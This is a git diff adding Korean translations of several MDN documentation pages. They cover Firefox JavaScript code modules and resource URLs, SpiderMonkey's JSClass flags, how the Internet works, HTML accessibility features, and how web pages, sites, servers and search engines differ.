+ Components.utils.import의 대단히 중요한 동작 특성으로서 염두 해두셔야 할 점은 모듈은 캐쉬되기 때문에 이후에 다시 가져오기 하더라도 모듈의 새로운 버전이 다시 가져오기 되지않고 기존에 캐쉬된 버전을 대신 사용 한다는 것입니다. 이 의미는 주어진 모듈은 여러 번 가져오기를 시도해도 한 번만 가져와서 해당 모듈을 공유하게 된다는 것입니다. 데이터, 객체 또는 함수의 변경점은 해당 모듈을 가져오기 한 모든 유효 범위에서 사용 가능하게 됩니다. 예를 들어, 만약 어떤 모듈이 두 개의 서로 다른 JavaScript 유효 범위에서 가져오기 되었다면, 한 유효 범위에서 일어난 변경이 다른 유효 범위에도 영향을 미쳐 해당 변경 사항을 볼 수 있게 됩니다.

+ +

유효 범위 1:

+ +
Components.utils.import("resource://app/my_module.jsm");
+
+alert(bar.size + 3);  // displays "6"
+
+bar.size = 10;
+
+ +

유효 범위 2:

+ +
Components.utils.import("resource://app/my_module.jsm");
+
+alert(foo());         // displays "foo"
+alert(bar.size + 3);  // displays "13"
+
+ +

This sharing behavior can be used to create singleton objects that can share data across windows and between XUL script and XPCOM components.
+
+ 이와 같이 공유하는 특성은 싱글톤 객체, 즉 창들 간의 데이터 공유나 XUL 스크립트와 XPCOM 컴포넌트 사이의 데이터 공유를 가능하게 하는 객체를 생성하는데 사용될 수 있습니다.

+ +

{{ Note("Each scope which imports a module receives a by-value copy of the exported symbols in that module. Changes to the symbol\'s value will not propagate to other scopes.") }}

+ +

Scope 1:

+ +
Components.utils.import("resource://app/my_module.jsm");
+
+bar = "foo";
+alert(bar);         // displays "foo"
+
+ +

Scope 2:

+ +
Components.utils.import("resource://app/my_module.jsm");
+
+alert(bar);         // displays "[object Object]"
+
+ +

The main effect of the by-value copy is global variables of simple types won't be shared across scopes. Always put variables in a wrapper class and export the wrapper (such as bar in the above example).

+ +

resource URL

+ +

When using Components.utils.import, you will notice that code modules are loaded using a "resource://" URL. The basic syntax of a resource URL is as follows:

+ +
resource://<alias>/<relative-path>/<file.js|jsm>
+
+ +

The <alias> is an alias to a location, usually a physical location relative to the application or XUL runtime. There are several pre-defined aliases setup by the XUL runtime:

+ + + +

The <relative-path> can be multiple levels deep and is always relative to the location defined by the <alias>. The common relative path is "modules" and is used by XUL Runner and Firefox. Code modules are simple JavaScript files with a .js or .jsm extension.

+ +

The easiest way for extensions and XUL applications to add custom aliases is by registering an alias in the chrome manifest using a line like this:

+ +
resource aliasname uri/to/files/
+
+ +

For example, if the XPI for your foo extension includes a top-level modules/ directory containing the bar.js module (that is, the modules/ directory is a sibling to chrome.manifest and install.rdf), you could create an alias to that directory via the instruction:

+ +
resource foo modules/
+
+ +

(Don't forget the trailing slash!) You could then import the module into your JavaScript code via the statement:

+ +
Components.utils.import("resource://foo/bar.js");
+
+ +

Programmatically adding aliases

+ +

Custom aliases can be programmatically added to the resource URL as well. For example:

+ +
var ioService = Components.classes["@mozilla.org/network/io-service;1"]
+                          .getService(Components.interfaces.nsIIOService);
+var resProt = ioService.getProtocolHandler("resource")
+                       .QueryInterface(Components.interfaces.nsIResProtocolHandler);
+
+var aliasFile = Components.classes["@mozilla.org/file/local;1"]
+                          .createInstance(Components.interfaces.nsILocalFile);
+aliasFile.initWithPath("/some/absolute/path");
+
+var aliasURI = ioService.newFileURI(aliasFile);
+resProt.setSubstitution("myalias", aliasURI);
+
+// assuming the code modules are in the alias folder itself, not a s
+
+ +

See also

+ + + + + +

{{ languages( { "es": "es/Usando_m\u00f3dulos_de_c\u00f3digo_JavaScript", "fr": "fr/Utilisation_de_modules_de_code_JavaScript", "ja": "ja/Using_JavaScript_code_modules", "pl": "pl/Zastosowanie_modu\u0142\u00f3w_JavaScript" } ) }}

diff --git a/files/ko/jsapi_reference/index.html b/files/ko/jsapi_reference/index.html new file mode 100644 index 0000000000..9f325e217c --- /dev/null +++ b/files/ko/jsapi_reference/index.html @@ -0,0 +1,268 @@ +--- +title: JSAPI Reference +slug: JSAPI_Reference +tags: + - JSAPI_Reference + - SpiderMonkey +translation_of: Mozilla/Projects/SpiderMonkey/JSAPI_reference +--- +

알파벳순 목록

+

자료 구조

+ +

함수

+ +

매크로

+ +

Deprecated

+ +

전처리기 조건문

+ +

{{ languages( { "en": "en/JSAPI_Reference", "ja": "ja/JSAPI_Reference", "pl": "pl/Dokumentacja_JSAPI" } ) }}

diff --git a/files/ko/jsapi_reference/jsclass.flags/index.html b/files/ko/jsapi_reference/jsclass.flags/index.html new file mode 100644 index 0000000000..124793f409 --- /dev/null +++ b/files/ko/jsapi_reference/jsclass.flags/index.html @@ -0,0 +1,177 @@ +--- +title: JSClass.flags +slug: JSAPI_Reference/JSClass.flags +translation_of: Mozilla/Projects/SpiderMonkey/JSAPI_reference/JSClass.flags +--- +
{{SpiderMonkeySidebar("JSAPI")}}
+ +
+

The {{jsapixref("JSClass", "JSClass.flags")}} field allows an application to enable optional JSClass features on a per-class basis.

+
+ +

The flags field is of type uint32_t. Its value is the logical OR of zero or more of the following constants:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FlagMeaning
+

JSCLASS_HAS_PRIVATE

+
+

This class uses private data. If this flag is set, each instance of the class has a field for private data. The field can be accessed using {{jsapixref("JS_GetPrivate")}} and {{jsapixref("JS_SetPrivate")}}.

+ +

{{ LXRSearch("ident", "i", "JSCLASS_HAS_PRIVATE") }}

+
+

JSCLASS_PRIVATE_IS_NSISUPPORTS

+
+

Mozilla extension. The private field of each object of this class points to an XPCOM object (see nsISupports). This is only meaningful if SpiderMonkey is built with XPConnect and the JSCLASS_HAS_PRIVATE flag is also set.

+ +

{{ LXRSearch("ident", "i", "JSCLASS_PRIVATE_IS_NSISUPPORTS") }}

+
+

JSCLASS_IS_DOMJSCLASS

+
+

{{ Jsapi_minversion_inline("17") }} Objects are DOM.

+ +

{{ LXRSearch("ident", "i", "JSCLASS_IS_DOMJSCLASS") }}

+
JSCLASS_EMULATES_UNDEFINED +

{{ Jsapi_minversion_inline("24") }} Causes objects which have this class to emulate undefined in certain circumstances.  An object obj that emulates undefined behaves like any other object, except in the following ways:

+ +
    +
  • typeof obj === "undefined"
  • +
  • obj converts to false when obj is converted to a boolean when used in boolean contexts (if conditions, loop continuation/termination conditions [for/while/do { } while], the condition in a ternary ?: expression, and so on)
  • +
  • (obj == undefined) is true, and (obj != undefined) is false
  • +
  • (obj == null) is true, and (obj != null) is false
  • +
+ +

== and != comparisons to values other than null or undefined (including to an object that emulates undefined) are unaffected by this flag.  Strict equality (=== and !==) comparisons are also unaffected by this flag.

+ +

{{ LXRSearch("ident", "i", "JSCLASS_EMULATES_UNDEFINED") }}

+
+

JSCLASS_HAS_RESERVED_SLOTS(n)

+
+

Indicates that instances of this class have n reserved slots. n is an integer in the range {{ mediawiki.external('0..255') }}. The slots initially contain unspecified valid jsval values. They can be accessed using {{jsapixref("JS_GetReservedSlot")}} and {{jsapixref("JS_GetReservedSlot", "JS_SetReservedSlot")}}.

+ +

(The {{jsapixref("JSClass.reserveSlots")}} hook also allocates reserved slots to objects.)

+ +

{{ LXRSearch("ident", "i", "JSCLASS_HAS_RESERVED_SLOTS") }}

+
+

JSCLASS_GLOBAL_FLAGS

+
+

This flag is only relevant for the class of an object that is used as a global object. (ECMAScript specifies a single global object, but in SpiderMonkey the global object is the last object in the {{jsapixref("JS_GetScopeChain", "scope chain", "", 1)}}, which can be different objects at different times. This is actually quite subtle. {{jsapixref("JS_ExecuteScript")}} and similar APIs set the global object for the code they execute. {{jsapixref("JS_SetGlobalObject")}} sets an object which is sometimes used as the global object, as a last resort.)

+ +

Enable standard ECMAScript behavior for setting the prototype of certain objects, such as Function objects. If the global object does not have this flag, then scripts may cause nonstandard behavior by replacing standard constructors or prototypes (such as Function.prototype.)

+ +

Objects that can end up with the wrong prototype object, if this flag is not present, include: arguments objects (ECMA 262-3 §10.1.8 specifies "the original Object prototype"), Function objects (ECMA 262-3 §13.2 specifies "the original Function prototype"), and objects created by many standard constructors (ECMA 262-3 §15.4.2.1 and others).

+ +

{{ LXRSearch("ident", "i", "JSCLASS_GLOBAL_FLAGS") }}

+
JSCLASS_FOREGROUND_FINALIZE +

Objects of this class must be finalized on the main thread. 

+ +

If this class has a finalizer that makes use of state shared with the main thread then this option must be specified.  It is always safe to specify this option.

+ +

One of JSCLASS_FOREGROUND_FINALIZE and JSCLASS_BACKGROUND_FINALIZE must be specified.

+
JSCLASS_BACKGROUND_FINALIZE +

It is safe to finalize objects of this class on a background thread.

+ +

If this class has a finalizer that can be safely run concurrently with the main thread then this option can be specified.  It results in finalization work being offloaded to another thread which improves performance.

+ +

One of JSCLASS_FOREGROUND_FINALIZE and JSCLASS_BACKGROUND_FINALIZE must be specified.

+
JSCLASS_IMPLEMENTS_BARRIERS{{ obsolete_inline("jsapi43") }} Correctly implements GC read and write barriers.
+

JSCLASS_NEW_ENUMERATE

+
{{ obsolete_inline("jsapi37") }} This class's enumerate hook is actually a {{jsapixref("JSClass.enumerate", "JSNewEnumerateOp")}}, not a {{jsapixref("JSEnumerateOp")}}.
+

JSCLASS_NEW_RESOLVE

+
{{ obsolete_inline("jsapi36") }} This class's resolve hook is actually a {{jsapixref("JSNewResolveOp")}}, not a {{jsapixref("JSClass.resolve", "JSResolveOp")}}.
+

JSCLASS_SHARE_ALL_PROPERTIES

+
{{ obsolete_inline("js1.8.5") }} Instructs SpiderMonkey to automatically give all properties of objects of this class the {{jsapixref("JS_GetPropertyAttributes", "JSPROP_SHARED")}} attribute.
+

JSCLASS_NEW_RESOLVE_GETS_START

+
{{ obsolete_inline("jsapi16") }} The resolve hook expects to receive the starting object in the prototype chain passed in via the *objp in/out parameter. (This is meaningful only if the JSCLASS_NEW_RESOLVE flag is also set.)
+

JSCLASS_CONSTRUCT_PROTOTYPE

+
{{ obsolete_inline("jsapi11") }} Instructs {{jsapixref("JS_InitClass")}} to invoke the constructor when creating the class prototype.
+

JSCLASS_IS_EXTENDED

+
{{ obsolete_inline("jsapi17") }}Indicates that this JSClass is really a {{jsapixref("JSExtendedClass")}}.
+

JSCLASS_MARK_IS_TRACE

+
{{ obsolete_inline("jsapi5") }} Indicates that the {{jsapixref("JSClass.mark", "mark")}} hook implements the new {{jsapixref("JSTraceOp")}} signature instead of the old {{jsapixref("JSClass.mark", "JSMarkOp")}} signature. This is recommended for all new code that needs custom marking.
+ +

SpiderMonkey reserves a few other flags for its internal use. They are JSCLASS_IS_ANONYMOUS, JSCLASS_IS_GLOBAL, JSCLASS_IS_PROXY, and JSCLASS_HAS_CACHED_PROTO. JSAPI applications should not use these flags.

+ +

See Also

+ + diff --git a/files/ko/learn/common_questions/how_does_the_internet_work/index.html b/files/ko/learn/common_questions/how_does_the_internet_work/index.html new file mode 100644 index 0000000000..f75add9c5a --- /dev/null +++ b/files/ko/learn/common_questions/how_does_the_internet_work/index.html @@ -0,0 +1,93 @@ +--- +title: 인터넷은 어떻게 동작하는가? +slug: Learn/Common_questions/How_does_the_Internet_work +translation_of: Learn/Common_questions/How_does_the_Internet_work +--- +
+

이 글에서는 인터넷의 개념과 작동 원리에 대해 설명합니다.

+
+ + + + + + + + + + + + +
선행지식:선행지식은 필요없습니다. 하지만 '프로젝트의 목표 설정에 대한 글(Article on setting project goals)에 대한 글을 먼저 읽어보세요.
목적:웹 기술 인프라의 기초와 인터넷과 웹의 차이점을 배우게 됩니다.
+ +

요약

+ +

인터넷은 웹의 핵심적인 기술입니다. 인터넷의 가장 기본적인 것은, 컴퓨터들이 서로 통신 가능한 거대한 네트워크라는 것입니다.

+ +

인터넷의 역사는 잘 알려지지 않았습니다. 인터넷은 1960년 대 미육군에서 기금한 연구 프로젝트에서 시작되었습니다. 그리고 1980년 대에 많은 국립 대학과 비공개 기업의 지원으로 공공의 기반으로 변화되었습니다. 인터넷을 지원하는 다양한 기술은 시간이 지남에 따라 진화 해 왔지만 작동 방식은 그다지 변하지 않았습니다. 인터넷은 모든 컴퓨터를 연결하고 어떤 일이 있어도 연결 상태를 유지할 수있는 방법을 찾는 방법입니다.

+ +

활동적으로 배우기

+ + + +

깊게 들어가기

+ +

단순한 네트워크

+ +

두 개의 컴퓨터가 통신이 필요할 때, 우리는 다른 컴퓨터와 물리적으로 (보통 이더넷 케이블) 또는 무선으로 (예를 들어, WiFiBluetooth 시스템) 연결되어야 합니다. 모든 현대 컴퓨터들은 이러한 연결 중 하나를 이용하여 연결을 지속할 수 있습니다.

+ +
+

Note: 이 글의 나머지 부분에서는 유선 케이블에 대해서만 이야기 하지만 무선 네트워크도 동일한 방식입니다.

+
+ +

Two computers linked together

+ +

이러한 네트워크는 두 대의 컴퓨터로 제한되지 않습니다. 원하는 만큼의 컴퓨터를 연결할 수 있습니다. 그러나 이렇게 연결할 수록 매우 복잡해집니다. 예를 들어 10대의 컴퓨터를 연결하려는 경우 컴퓨터 당 9개의 플러그가 달린 45개의 케이블이 필요합니다!

+ +

Ten computers all together

+ +

이 문제를 해결하기 위해 네트워크의 각 컴퓨터는 라우터라고하는 특수한 소형 컴퓨터에 연결됩니다. 이 라우터에는 단 하나의 작업만 있습니다. 철도역의 신호원처럼 주어진 컴퓨터에서 보낸 메시지가 올바른 대상 컴퓨터에 도착하는지 확인합니다. 컴퓨터 B에게 메시지를 보내려면 컴퓨터 A가 메시지를 라우터로 보내야하며, 라우터는 메시지를 컴퓨터 B로 전달하고 메시지가 컴퓨터 C로 배달되지 않도록해야합니다.

+ +

이 라우터를 시스템에 추가하면 10대의 컴퓨터 네트워크에는 10개의 케이블만 필요합니다. 각 컴퓨터마다 단일 플러그와 10개의 플러그가 있는 하나의 라우터가 필요합니다.

+ +

Ten computers with a router

+ +

네트워크 속의 네트워크

+ +

지금까지는 그런대로 잘되었습니다. 수백, 수천, 수십억 대의 컴퓨터를 연결하는 것은 어떨까요? 물론 단일 라우터는 그 정도까지 확장 할 수는 없지만 신중하게 읽으면 라우터는 다른 컴퓨터와 마찬가지로 컴퓨터라고 말했습니다. 그럼, 두 대의 라우터를 연결하지 못하게 하는 것이 있을까요? 없죠!

+ +

Two routers linked together

+ +

컴퓨터를 라우터에 연결하고, 라우터에서 라우터로, 우리는 무한히 확장할 수 있습니다.

+ +

Routers linked to routers

+ +

이러한 네트워크는 우리가 인터넷이라고 부르는 것에 매우 가깝지만, 우리는 뭔가를 놓치고 있습니다. 우리는 우리의 목적을 가지고 네트워크를 구축했습니다. 하지만 그밖에 다른 네트워크들 : 친구, 이웃, 누구든지 컴퓨터로 이루어진 그들만의 네트워크를 가질 수 있습니다. 하지만 집과 다른 지역 사이에, 아주 먼 곳에 케이블을 연결할 수는 없습니다. 이 문제를 어떻게 처리 할 수 있을까요? 예를 들어 전력 및 전화와 같이 이미 집에 연결된 케이블이 있습니다. 전화기 기반의 시설은 이미 세계 어느 곳과도 연결되어 있으므로 우리가 필요로 하는 완벽한 배선이라고 할 수 있습니다. 따라서 우리의 네트워크를 전화 시설과 연결하기 위해선, 모뎀이라는 특수 장비가 필요합니다. 이 모뎀은 우리 네트워크의 정보를 전화 시설에서 처리 할 수있는 정보로 바꾸며, 그 반대의 경우도 마찬가지입니다.

+ +

A router linked to a modem

+ +

그래서 우리의 네트워크는 전화 시설에 연결됩니다. 다음 단계는 우리의 네트워크에서 도달하려는 네트워크로 메시지를 보내는 것입니다. 그렇게하기 위해 네트워크를 인터넷 서비스 제공 업체 (Internet Service Provider, ISP)에 연결합니다. ISP는 모두 함께 연결되는 몇몇 특수한 라우터를 관리하고 다른 ISP의 라우터에도 액세스 할 수 있는 회사입니다. 따라서 우리 네트워크의 메시지는 ISP 네트워크의 네트워크를 통해 대상 네트워크로 전달됩니다. 인터넷은 이러한 전체 네트워크 인프라로 구성됩니다.

+ +

Full Internet stack

+ +

컴퓨터 찾기

+ +

컴퓨터에 메시지를 보내려면 메시지를 받을 특정 컴퓨터를 지정해야합니다. 따라서 네트워크에 연결된 모든 컴퓨터에는 IP 주소 (IP는 인터넷 프로토콜을 나타냄)라는 고유한 주소가 있습니다. 주소는 점으로 구분 된 네 개의 숫자로 구성된 주소입니다 . 예: 192.168.2.10.

+ +

컴퓨터는 이러한 주소로 다른 컴퓨터를 찾아가는데 문제가 없습니다. 그러나 우리들은 IP주소를 기억하기 어렵죠. 그래서 우리는 '도메인 이름' 이라고하는 사람이 읽을 수 있는 IP 주소의 이름을 지정할 수 있습니다. 예를 들어 'google.com'은 IP 주소로  '173.194.121.32' 입니다. 따라서 '도메인 이름'은 'IP주소'보다 인터넷을 사용하기에 쉽습니다.

+ +

Show how a domain name can alias an IP address

+ +

인터넷과 웹

+ +

웹 브라우저를 사용하여 웹을 탐색 할 때 일반적으로 도메인 이름을 사용하여 웹 사이트에 접속합니다. 그것은 인터넷과 웹이 같은 것을 의미할까요? 그렇게 간단하지 않습니다. 앞에서 보았 듯이 인터넷은 수십억 대의 컴퓨터를 모두 연결하는 기술 인프라입니다. 이러한 컴퓨터들 중에 일부는 '웹 서버'로서 웹 브라우저가 이해할 수 있는 서비스를 제공합니다. 인터넷은 인프라이며, 웹은 그 인프라 기반 위에 구축된 서비스입니다. 웹 뿐만 아니라 인터넷 위에 구축된 다른 서비스들(이메일, {{Glossary("IRC")}} 등)도 있음을 알아야합니다.

+ +

다음 단계

+ + diff --git a/files/ko/learn/common_questions/html_features_for_accessibility/index.html b/files/ko/learn/common_questions/html_features_for_accessibility/index.html new file mode 100644 index 0000000000..fd22e4d8cc --- /dev/null +++ b/files/ko/learn/common_questions/html_features_for_accessibility/index.html @@ -0,0 +1,49 @@ +--- +title: 어떤 HTML 기능이 접근성을 촉진할까? +slug: Learn/Common_questions/HTML_features_for_accessibility +translation_of: Learn/Common_questions/HTML_features_for_accessibility +--- +

{{draft}}

+ +

이번 내용은 웹 페이지를 좀 더 서로 다른 장애를 가진 사람들에게 좀 더 접근하기 쉽게 만들 수 있는 HTML의 특정한 기능을 서술합니다. 

+ +

탭(Tabbing)

+ +

pointing devices를 사용 하지 않거나 사용 할 수 없는 유저들은  Tab 을 links를 통해 할 수 있습니다.(links는 논리적 순서로 이루어져 있어야 합니다.) tabindex 속성은 당신이 이러한 순서를 정의 할 수 있도록 허락합니다. 만약 HTML이 선형이라면, 논리적 탭 순서는 자동적으로 맞춰집니다. 

+ +
<ul>
+  <li><a href="here.html" tabindex="1">Here</a></li>
+  <li><a href="there.html" tabindex="3">There</a></li>
+  <li><a href="anywhere.html" tabindex="2">Anywhere</a></li>
+</ul>
+ +

이번 예시는(순수히 데모를 위해 사용되었으니 따라하지 마세요), 탭이 여기서부터 여기저기를 점프합니다. 

+ + + +

만약 당신이 자신을 설명하지 않는 링크를 가지고 있거나, 링크 목적지가 더 자세하게 설명되지 않으면, 그 링크에 제목 속성을 추가 할 수 있습니다. 

+ +
<p>I'm really bad at writing link text. <a href="inept.html" title="Why I'm rubbish at writing link text: An explanation and an apology.">Click here</a> to find out more.</p>
+ +

접근 키(Access Keys)

+ +

접근 키는  링크에 사용자가 Alt or Ctrl + 접근 키를 입력하여 얻을 수 있는 키보드 단축키를 할당하여 쉬운 네비게이션을 제공합니다. 정확한 키 조합은 플래폼에 따라 다릅니다.

+ +
<a href="somepage.html" accesskey="s">Some page</a>
+ +

링크 넘어가기(Skip Links)

+ +

탭을 지원하기 위하여, 당신은 유저가 당신의 웹 페이지 모음으로 넘어갈 수 있는 링크를 제공할 수 있습니다. 당신은 아마도 다른 사람이 네비게이션 링크를 따라 점프하기를 원할 것입니다. 그렇게 함으로써, 페이지의 메인 내용을 읽을 수 있습니다. 

+ +
<header>
+  <h1>The Heading</h1>
+  <a href="#content">Skip to content</a>
+</header>
+
+<nav>
+  <!-- navigation stuff -->
+</nav>
+
+<section id="content">
+  <!--your content -->
+</section>
diff --git a/files/ko/learn/common_questions/index.html b/files/ko/learn/common_questions/index.html new file mode 100644 index 0000000000..d3d5fe0261 --- /dev/null +++ b/files/ko/learn/common_questions/index.html @@ -0,0 +1,127 @@ +--- +title: Common questions +slug: Learn/Common_questions +tags: + - CodingScripting + - Infrastructure + - Learn + - NeedsTranslation + - TopicStub + - Web + - WebMechanics + - 웹 + - 인프라 +translation_of: Learn/Common_questions +--- +

This section of the Learning Area is designed to provide answers to common questions that may come up, which are not necessarily part of the structured core learning pathways (e.g. the HTML or CSS learning articles.) These articles are designed to work on their own.

+ +
+

HTML and CSS questions

+ +

Try our Use HTML to solve common problems and Use CSS to solve common problems pages for common solutions to HTML/CSS problems.

+
+ +

웹의 동작 방식

+ +

이 섹션에서는 웹의 원리 - 웹의 생태계와 작동 방식에 대한 일반적인 지식과 관련된 질문들을 다룬다.

+ +
+
+

인터넷은 어떻게 동작하는가?

+
+
인터넷은 웹을 가능하게 하는 기술적 기반 구조의 중추이다. 기본적으로, 인터넷은 서로 통신하는 컴퓨터들의 큰 네트워크이다. 이 article은 기초적인 수준에서 인터넷이 어떻게 동작하는지 설명한다.
+
+

What is the difference between webpage, website, web server, and search engine?

+
+
In this article we describe various web-related concepts: webpages, websites, web servers, and search engines. These terms are often confused by newcomers to the Web, or are incorrectly used. Let's learn what they each mean!
+
+

URL이란?

+
+
With {{Glossary("Hypertext")}} and {{Glossary("HTTP")}}, URL is one of the key concepts of the Web. It is the mechanism used by {{Glossary("Browser","browsers")}} to retrieve any published resource on the web.
+
+

도메인 네임이란?

+
+
Domain names are a key part of the Internet infrastructure. They provide a human-readable address for any web server available on the Internet.
+
+

웹서버란?

+
+
The term "Web server" can refer to the hardware or software that serves web sites to clients across the Web — or both of them working together. In this article we go over how web servers work, and why they're important.
+
+

하이퍼링크란?

+
+
In this article, we'll go over what hyperlinks are and why they matter.
+
+ +

Tools and setup

+ +

Questions related to the tools/software you can use to build websites.

+ +
+
+

How much does it cost to do something on the Web?

+
+
When you're launching a website, you may spend nothing or your costs may go through the roof. In this article we discuss how much everything costs and what you get for what you pay (or don't pay).
+
+

What software do I need to build a website?

+
+
In this article we explain which software components you need when you're editing, uploading, or viewing a website.
+
+

What text editors are available?

+
+
In this article we highlight some things to think about when choosing and installing a text editor for web development.
+
+

How do I set up a basic working environment?

+
+
When working on a web project, you'll want to test it locally before you show it to the world. Some types of code require a server to test, and in this article we'll show you how to set one up. We'll also cover how to put a scalable structure in place so that your files stay organized even when your project gets big.
+
+

What are browser developer tools?

+
+
Every browser features a set of devtools for debugging HTML, CSS, and other web code. This article explains how to use the basic functions of your browser's devtools.
+
+

How do you make sure your website works properly?

+
+
So you've published your website online — very good! But are you sure it works properly? This article provides some basic troubleshooting steps.
+
+

How do you upload files to a web server?

+
+
This article shows how to publish your site online with FTP tools — one fo the most common ways to get a website online so others can access it from their computers.
+
+

How do I use GitHub Pages?

+
+
This article provides a basic guide to publishing content using GitHub's gh-pages feature.
+
+

How do you host your website on Google App Engine?

+
+
Looking for a place to host your website? Here's a step-by-step guide to hosting your website on Google App Engine.
+
+

What tools are available to debug and improve website performance?

+
+
This set of articles shows you how to use the Developer Tools in Firefox to debug and improve performance of your website, using the tools to check the memory usage, the JavaScript call tree, the amount of DOM nodes being rendered, and more.
+
+ +

Design and accessibility

+ +

This section lists questions related to aesthetics, page structure, accessibility techniques, etc.

+ +
+
+

How do I start to design my website?

+
+
This article covers the all-important first step of every project: define what you want to accomplish with it.
+
+

What do common web layouts contain?

+
+
When designing pages for your website, it's good to have an idea of the most common layouts. This article runs thorugh some typical web layouts, looking at the parts that make up each one.
+
+

What is accessibility?

+
+
This article introduces the basic concepts behind web accessibility.
+
+

How can we design for all types of users?

+
+
This article provides basic techniques to help you design websites for any kind of user — quick accessibility wins, and other such things.
+
+

What HTML features promote accessibility?

+
+
This article describes specific features of HTML that can be used to make a web page more accessible to people with different disabilities.
+
diff --git a/files/ko/learn/common_questions/pages_sites_servers_and_search_engines/index.html b/files/ko/learn/common_questions/pages_sites_servers_and_search_engines/index.html new file mode 100644 index 0000000000..a35ea0eedf --- /dev/null +++ b/files/ko/learn/common_questions/pages_sites_servers_and_search_engines/index.html @@ -0,0 +1,125 @@ +--- +title: '웹페이지, 웹사이트, 웹서버 그리고 검색엔진의 차이는 무엇일까요?' +slug: Learn/Common_questions/Pages_sites_servers_and_search_engines +tags: + - 웹동작 + - 웹작동 + - 초보자 +translation_of: Learn/Common_questions/Pages_sites_servers_and_search_engines +--- +
+

이번 글에서는 다양한 웹 관련 개념들을 이야기합니다: 웹, 페이지, 웹사이트, 웹서버, 검색엔진. 이런 용어들은 흔히ㅣ웹을 처음 배우는 사람이나 잘못 배운 사람들에게 혼란스럽습니다. 이것들이 무엇을 의미하는 지 배워봅시다!

+
+ + + + + + + + + + + + +
요구지식:how the Internet works(인터넷이 작동하는 법)을 배워야 한다.
목적:웹페이지, 웹사이트, 웹서버, 검색엔진의 차이점을 논할 수 있다.
+ +

요약

+ +

지식의 범위에 따라, 웹은 많은 용어가 있습니다. 걱정마세요, 우리는 그런 모든 것들로 여러분을 억누르지 않을 것입니다.  (궁금하시다면, glossary(용어사전) 이 있습니다.) 하지만 여러분이 처음에 이해할 필요가 있는 기본적인 용어들이 있습니다. 왜냐하면, 읽는 내내, 이런 표현들을 보게될 것이기 때문이다. 때때로 이런 용어들은 혼동하기 쉽습니다. 왜냐하면 다른 기능을 가지고 있지만 관련있는 것으로 언급되기 때문이죠. 사실, 뉴스 기사 등에서 이따금 잘못 사용된 이런 용어들을 볼 수 있을 것입니다. 그래서 그것들이 혼동되는 것은 당연합니다!

+ +

나아가서 더 자세한 용어와 기술들을 다룰 것입니다. 하지만, 앞서 정의해보는 것은 시작하는 데 도움이 될 것입니다:

+ +
+
웹 페이지
+
파이어폭스, 구글 크롬, 오페라, MS 익스플로러나 엣지, 애플의 사파리 같은 웹 브라우저에서 보여지는 문서이다. 이런 것들을 단순히 "페이지"라고 하기도 한다.
+
웹사이트
+
다양한 방식으로 그룹으로 묶이거나 연결된 웹 페이지들의 모음이다. 보통 "웹사이트"나  단순히 "사이트"라고 한다.
+
웹 서버
+
인터넷에 웹사이트를 호스팅하는 컴퓨터이다.
+
검색 엔진
+
구글, 빙, 야후 같은 다른 웹 페이지들을 찾게 도와주는 웹사이트이다.
+
+ +

도서관과 간단한 유사점을 보자. 아래는 도서관에 방문했을 때, 일반적으로 하는 일이다:

+ +
    +
  1. 검색 색인을 발견하고 원하는 책의 제목을 찾는다.
  2. +
  3. 책의 분류번호를 기록한다.
  4. +
  5. 그 책이 있는 구역으로 간 뒤, 올바른 분류번호를 찾고, 책을 얻는다.
  6. +
+ +

웹 서버와 도서관을 비교해보자.

+ + + +
+
+
+ +

Active learning

+ +

There is no active learning available yet. Please, consider contributing.

+ +

깊게 들어가기

+ +

4개의 용어가 얼마나 관련됐는지, 서로 헷갈리는 이유가 무엇인지를 더 깊게 알아봅시다.

+ +

웹 페이지

+ +

웹 페이지는 {{Glossary("browser")}}(브라우저)를 통해 보여지는 단순한 문서입니다. 이런 문서는 {{Glossary("HTML")}} 언어로 쓰여집니다. (다른 글에서 더 자세히 알 수 있다) 웹 페이지는 다양한 다른 종류의 자원을 포함할 수 있습니다:

+ + + +
+

Note: 브라우저는 또한  {{Glossary("PDF")}} 파일이나 이미지를 보여줄 수 있다. 그러나 웹 페이지는 HTML 문서를 의미하는 용어이다. 아니라면 우리는 문서(document)라는 용어를 사용한다.

+
+ +

웹에서 이용하는 모든 웹 페이지는 유일한 주소를 통해 접근할 수 있습니다. 한 페이지에 접근하기 위해서는, 브라우저의 주소창에 주소를 적으면 됩니다.

+ +

Example of a web page address in the browser address bar

+ +

웹사이트 는 유일한 도메인 이름을 같이 사용하는 연결된 웹 페이지들의 모음입니다. (관련된 자원도 포함된다.) 각각의 웹사이트에서 분명한 링크가 주어진 웹 페이지들은 유저가 그 웹사이트의 한 페이지에서 다른 페이지로 이동하게 합니다. 보통 클릭할 수 있는 형태로 되어있습니다.

+ +

웹사이트에 접근하기 위해서, 브라우저 주소 창에 도메인 이름을 적으면, 브라우저는 웹사이트의 메인 페이지나 홈페이지 (보통 "홈"이라 하는)를 보여줄 것이다:

+ +

Example of a web site domain name in the browser address bar

+ +

웹 페이지 웹사이트 에 대한 생각은 특히 하나의웹 페이지만 포함하는 웹사이트에서 혼동하기 쉽습니다. 이런 웹사이트를 보통 a single-page website(싱글 페이지 웹사이트)라고 합니다.

+ +

웹 서버

+ +
웹 서버는 한 개 이상의 웹사이트를 호스팅하는 컴퓨터입니다. "호스팅"은 모든 웹 페이지 및 웹 페이지가 지원하는 파일들을 컴퓨터에서 이용할 수 있다는 것을 의미한다. 웹 서버는 유저의 request(요청)마다 호스팅하는 웹사이트에서 유저의 브라우저로 웹 페이지를 보낼 것이다.
+ +

웹 사이트 웹 서버를 혼동하지 마라. 예를 들어, 당신이 누군가 "내 웹사이트가 반응하지 않는다." 라고 말하는 것을 들었다면, 그것은 사실 웹 서버가 반응하지 않는다는 의미이다. 그러므로 웹사이트를 이용하지 못 한다. 더 중요하게, 웹 서버는 여러 웹사이트에 호스팅될 수 있기 때문에, 웹 서버라는 용어는 절대 웹사이트를 지정하기 위해 사용하지 않는다. 그것이 큰 혼란을 일으킬 수 있기 때문이다. 아까의 예처럼, 만약 우리가 "내 웹 서버가 반응하지 않는다." 라고 하면, 그것은 웹 서버가 이용할 수 있는 웹 사이트가 없다는 것을 의미한다.

+ +

검색 엔진

+ +

검색 엔진은 웹에서 흔한 혼란의 근원입니다. 검색 엔진은 웹 페이지를 다른 웹사이트에서 찾을 수 있게 도와주는 특별한 종류의 웹사이트입니다.

+ +

